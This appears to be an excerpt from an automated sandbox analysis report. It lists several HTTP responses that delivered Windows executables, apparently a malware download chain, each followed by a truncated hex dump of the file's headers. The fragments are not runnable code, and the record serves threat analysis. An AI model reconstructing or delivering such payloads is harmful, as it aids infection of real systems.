Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 14 Dec 2024 21:56:22 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Thu, 12 Dec 2024 07:53:47 GMTETag: "6bc00-6290e03a93110"Accept-Ranges: bytesContent-Length: 441344Connection: closeContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dd b6 42 53 99 d7 2c 00 99 d7 2c 00 99 d7 2c 00 8d bc 2f 01 94 d7 2c 00 8d bc 29 01 23 d7 2c 00 cb a2 28 01 8b d7 2c 00 cb a2 2f 01 8f d7 2c 00 cb a2 29 01 c0 d7 2c 00 a8 8b d1 00 9b d7 2c 00 8d bc 28 01 8e d7 2c 00 8d bc 2d 01 8a d7 2c 00 99 d7 2d 00 6a d7 2c 00 55 a2 25 01 98 d7 2c 00 55 a2 d3 00 98 d7 2c 00 55 a2 2e 01 98 d7 2c 00 52 69 63 68 99 d7 2c 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 8b 96 5a 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1d 00 fa 04 00 00 00 02 00 00 00 00 00 aa a6 02 00 00 10 00 00 00 10 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 07 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 46 06 00 c8 00 00 00 00 d0 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 06 00 d4 45 00 00 fc e1 05 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e3 05 00 18 00 00 00 38 e2 05 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 05 00 3c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 7a f8 04 00 00 10 00 00 00 fa 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 10 49 01 00 00 10 05 00 00 4a 01 00 00 fe 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 dc 6d 00 00 00 60 06 00 00 2c 00 00 00 48 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 d0 06 00 00 02 00 00 00 74 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d4 45 00 00 00 e0 06 00 00 46 00 00 00 76 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 14 Dec 2024 21:56:25 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Thu, 12 Dec 2024 06:36:36 GMTETag: "be00-6290cefa0bb8c"Accept-Ranges: bytesContent-Length: 48640Connection: closeContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 e5 ad 2d 65 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 08 00 00 b2 00 00 00 0a 00 00 00 00 00 00 3e d0 00 00 00 20 00 00 00 e0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 01 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 f0 cf 00 00 4b 00 00 00 00 e0 00 00 ff 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 44 b0 00 00 00 20 00 00 00 b2 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 ff 07 00 00 00 e0 00 00 00 08 00 00 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 01 00 00 02 00 00 00 bc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 d0 00 00 00 00 00 00 48 00 00 00 02 00 05 00 f4 59 00 00 fc 75 00 00 03 00 00 00 01 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bf eb 1e 56 fb cd 97 3b b2 19 02 24 30 a5 78 43 00 3d 56 44 d2 1e 62 b9 d4 f1 80 e7 e6 c3 39 41 2e 00 2f 00 5c 00 00 00 1e 02 28 18 00 00 0a 2a 1a 7e 13 00 00 04 2a 1e 02 80 13 00 00 04 2a 1a 7e 14 00 00 04 2a 1e 02 80 14 00 00 04 2a 1a 7e 15 00 00 04 2a 1e 02 80 15 00 00 04 2a 1a 7e 16 00 00 04 2a 1e 02 80 16 00 00 04 2a 1a 7e 17 00 00 04 2a 1e 02 80 17 00 00 04 2a 1a 7e 18 00 00 04 2a 1e 02 80 18 00 00 04 2a 1a 7e 19 00 00 04 2a 1e 02 80 19 00 00 04 2a 1a 7e 1a 00 00 04 2a 1a 7e 1b 00 00 04 2a 1e 02 80 1b 00 00 04 2a 1a 7e 1c 00 00 04 2a 1e 02 80 1c 00 00 04 2a 1a 7e 1d 00 00 04 2a 1e 02 80 1d 00 00 04 2a 2a 02 28 3e 00 00 0a 16 fe 03 2a 32 7e 0b 00 00 04 03 6f 3f 00 00 0a 2a 2e 73 18 00 00 0a 80 1a 00 00 04 2a e6 28 29 00 00 06 3a 28 00 00 00 28 2a 00 00 06 3a 1e 00 00 00 28 2b 00 00 06 3a 14 00 00 00 28 27 00 00 06 3a 0a 00 00 00 28 28 00 00 06 39 06 00 00 00 14 28 76 00 00 0a 2a 56 28 9c 00 00 0a 73 9d 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 14 Dec 2024 13:56:26 GMTContent-Type: application/octet-streamContent-Length: 4438776Last-Modified: Tue, 10 Dec 2024 00:01:52 GMTConnection: keep-aliveETag: "675784f0-43baf8"Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 4f 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 a2 41 00 ff 36 50 8d 85 fc f6 ff ff 50 ff d7 83 c4 14 39 5e 10 89 5d fc 76 38 8d 5e 14 ff 33 8d 85 fc fe ff ff 68 90 a4 41 00 50 ff d7 83 c4 0c 8d 85 fc fe ff ff 50 8d 85 fc f6 ff ff 50 ff 15 78 a1 41 00 ff 45 fc 8b 45 fc 83 c3 04 3b 46 10 72 cb 8d 85 fc f6 ff ff 50 e8 7e 84 00 00 59 e8 d4 36 00 00 6a 0a ff 15 74 a1 41 00 cc ff 74 24 04 e8 44 ff ff ff cc 56 8b f1 e8 25 73 00 00 c7 06 a0 a4 41 00 c7 46 38 d2 07 00 00 8b c6 5e c3 6a 01 ff 71 04 ff 15 bc a2 41 00 c3 33 c0 39 05 60 ea 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 ff 35 58 ea 41 00 ff 15 b8 a2 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 1c 00 83 7c 24 08 00 75 07 c7 40 1c 01 00 00 00 33 c0 c2 08 00 a0 70 e9 41 00 f6 d8 1b c0 83 e0 0b 83 c0 08 c3 ff 74 24 10 8b 44 24 08 ff 74 24 10 c7 05 60 e9 41 00 2f 11 40 00 ff 74 24 10 8b 08 50 ff 51 0c 83 25 60 e9 41 00 00 c3 33 c0 c2 0c 00 8b 54 24 08 8b 4c 24 04 0f b7 02 66 89 01 41 41 42 42 66 85 c0 75 f1 c3 8b 4c 24 04 33 c0 66 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 14 Dec 2024 21:56:27 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Sat, 14 Dec 2024 12:17:46 GMTETag: "af400-62939ef688fac"Accept-Ranges: bytesContent-Length: 717824Connection: closeContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 86 5b 44 e7 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 30 00 00 ea 0a 00 00 08 00 00 00 00 00 00 4e 09 0b 00 00 20 00 00 00 20 0b 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 0b 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 fc 08 0b 00 4f 00 00 00 00 20 0b 00 96 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0b 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 54 e9 0a 00 00 20 00 00 00 ea 0a 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 96 05 00 00 00 20 0b 00 00 06 00 00 00 ec 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 40 0b 00 00 02 00 00 00 f2 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 09 0b 00 00 00 00 00 48 00 00 00 02 00 05 00 00 2d 00 00 fc db 0a 00 03 00 02 00 3c 00 00 06 90 2b 00 00 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 21 1f b6 36 53 00 00 00 00 26 2b 00 2a 7e 21 1f b6 36 53 00 00 00 00 26 2b 00 02 28 24 00 00 0a 03 80 01 00 00 04 02 28 08 00 00 06 2a 5e 21 1f b6 36 53 00 00 00 00 26 2b 00 7e 01 00 00 04 28 39 00 00 06 2a aa 21 1f b6 36 53 00 00 00 00 26 2b 00 03 2c 13 02 7b 02 00 00 04 2c 0b 02 7b 02 00 00 04 6f 25 00 00 0a 02 03 28 01 00 00 0a 2a 8e 0f 00 28 0a 00 00 06 0f 01 28 0b 00 00 06 d0 01 00 00 1b 28 15 00 00 0a 28 33 00 00 0a 28 01 00 00 2b 2a 1e 02 28 42 00 00 0a 2a 5e 1f 1a 28 44 00 00 0a 72 3d 02 00 70 28 4b 00 00 0a 80 32 00 00 04 2a 6e 28 53 00 00 0a 16 28 54 00 00 0a 7e 36 00 00 04 73 05 00 00 06 28 55 00 00 0a 2a 2e 72 45 02 00 70 80 36 00 00 04 2a ae 7e 37 00 00 04 2d 1e 72 4a a2 09 70 d0 13 00 00 02 28 15 00 00 0a 6f 56 00 00 0a 73 57 00 00 0a 80 37 00 00 04 7e 37 00 00 04 2a 1a 7e 38 00 00 04 2a 1e 02 80 38 00 00 04 2a 1a 7e 39 00 00 04 2a 1e 02 28 58 00 00 0a 2a 56 73 43 00 00 06 28 59 00 00 0a 74 14
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 14 Dec 2024 21:56:30 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Thu, 12 Dec 2024 05:59:50 GMTETag: "2e9600-6290c6c1b377a"Accept-Ranges: bytesContent-Length: 3053056Connection: closeContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 8b 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 03 00 00 00 00 00 00 f6 8e 00 00 00 00 00 f0 00 22 00 0b 02 03 00 00 a0 2e 00 00 10 00 00 00 70 66 00 30 04 95 00 00 80 66 00 00 00 40 00 00 00 00 00 00 10 00 00 00 02 00 00 06 00 01 00 01 00 00 00 06 00 01 00 00 00 00 00 00 30 95 00 00 02 00 00 00 00 00 00 02 00 60 81 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 20 95 00 9c 00 00 00 00 00 00 00 00 00 00 00 00 c0 91 00 54 95 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 50 58 30 00 00 00 00 00 70 66 00 00 10 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 e0 55 50 58 31 00 00 00 00 00 a0 2e 00 00 80 66 00 00 92 2e 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 55 50 58 32 00 00 00 00 00 10 00 00 00 20 95 00 00 02 00 00 00 94 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 34 2e 32 34 00 55 50 58 21 0d 24 0e 0a e9 ab 83 56 39 75 76 8e 25 e5 94 00 0a 84 2e 00 00 f8 8e 00 49 35 00 ee 3c 07 00 7f 88 04 e6 f1 01 95 50 6d e5 7c 45 e3 cd df 42 14 0d 32 40 b8 1a fb 86 9d e1 5e 31 73 4d 77 47 d9 33 01 fd 98 b9 a7 bb 09 ff ac 1e cc f1 42 54 49 d4 58 60 b5 28 ff cb f7 eb 90 22 e0 02 0f d9 19 55 19 06 f8 c2 7b 22 80 fd 37 c2 e8 19 b9 4e 18 65 28 17 3d 17 28 99 28 cc 1c 73 d5 13 57 44 64 80 3b 7b b1 4f 73 2f ed a0 30 1b 26 70 cb 60 fe ca 8b 91 0b 50 4e 01 77 13 cb c3 07 53 f4 af 95 25 f5 32 0a 53 9b 9b b5 8c 3f fb 86 38 11 37 78 2b d8 f9 f9 1b aa 76 9e 4a 81 a0 a1 d1 74 28 8d c6 95 3e 14 2e be b8 2f cc 7a 89 a7 6f 73 63 7a a2 0a 7f d3 16 cf fb 07 79 8b b2 cf a6 9e ca 2c 76 24 c5 ba 6a 5d 4d 08 cd 9f 9f a0 04 fd 1d 52 88 64 d8 09 68 31 61 05 c2 7d 8f db 7d 02 68 cd 19 92 c8 80 d8 2d e5 3d 85 55 34 c4 7d d9 1d 83 d6 97 79 a9 51 d7 f7 d3 ff 3a 9d a1 8d 47 f7 51 ff 19 b0 89 db 1e 11 a7 b5 fe a5 32 5d 17 e8 bd 30 5b 99 dd 5e e3 8d 3d 4b e8 3f f5 87 2f 3e 53 fa d1 db 0b b5 5a b5 ea ee c5 39 8c 70 76 b0 1e 75 bf fb c8 77 ff 93 c8 4f 6e 6d 25 81 45 12 cc 75 e0 13 71 c7 ec 8b 19 b3 ee 19 92 fb 13 5e 6e b0 20 07 c2 3c 67 ea 0d 43 4f c
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 14 Dec 2024 13:56:39 GMTContent-Type: application/octet-streamContent-Length: 727552Last-Modified: Wed, 11 Dec 2024 08:22:24 GMTConnection: keep-aliveETag: "67594bc0-b1a00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 c0 24 58 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4e 01 00 00 a8 00 00 00 00 00 00 2c 36 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 0b 00 00 08 00 00 7c 7a 0b 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c ca 01 00 64 00 00 00 00 00 02 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 02 00 80 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 68 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 34 cc 01 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 41 4d 01 00 00 10 00 00 00 4e 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 3c 7e 00 00 00 60 01 00 00 80 00 00 00 56 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 4c 1c 00 00 00 e0 01 00 00 12 00 00 00 d6 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 00 00 00 00 00 02 00 00 02 00 00 00 e8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 80 13 00 00 00 10 02 00 00 14 00 00 00 ea 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 8e 04 00 00 30 02 00 00 8e 04 00 00 fe 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 8e 04 00 00 c0 06 00 00 8e 04 00 00 8c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 14 Dec 2024 13:56:46 GMTContent-Type: application/octet-streamContent-Length: 965632Last-Modified: Sat, 14 Dec 2024 13:56:24 GMTConnection: keep-aliveETag: "675d8e88-ebc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 80 8e 5d 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 0c 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 0f 00 00 04 00 00 90 3d 0f 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 48 51 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 0e 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 48 51 01 00 00 40 0d 00 00 52 01 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 a0 0e 00 00 76 00 00 00 46 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
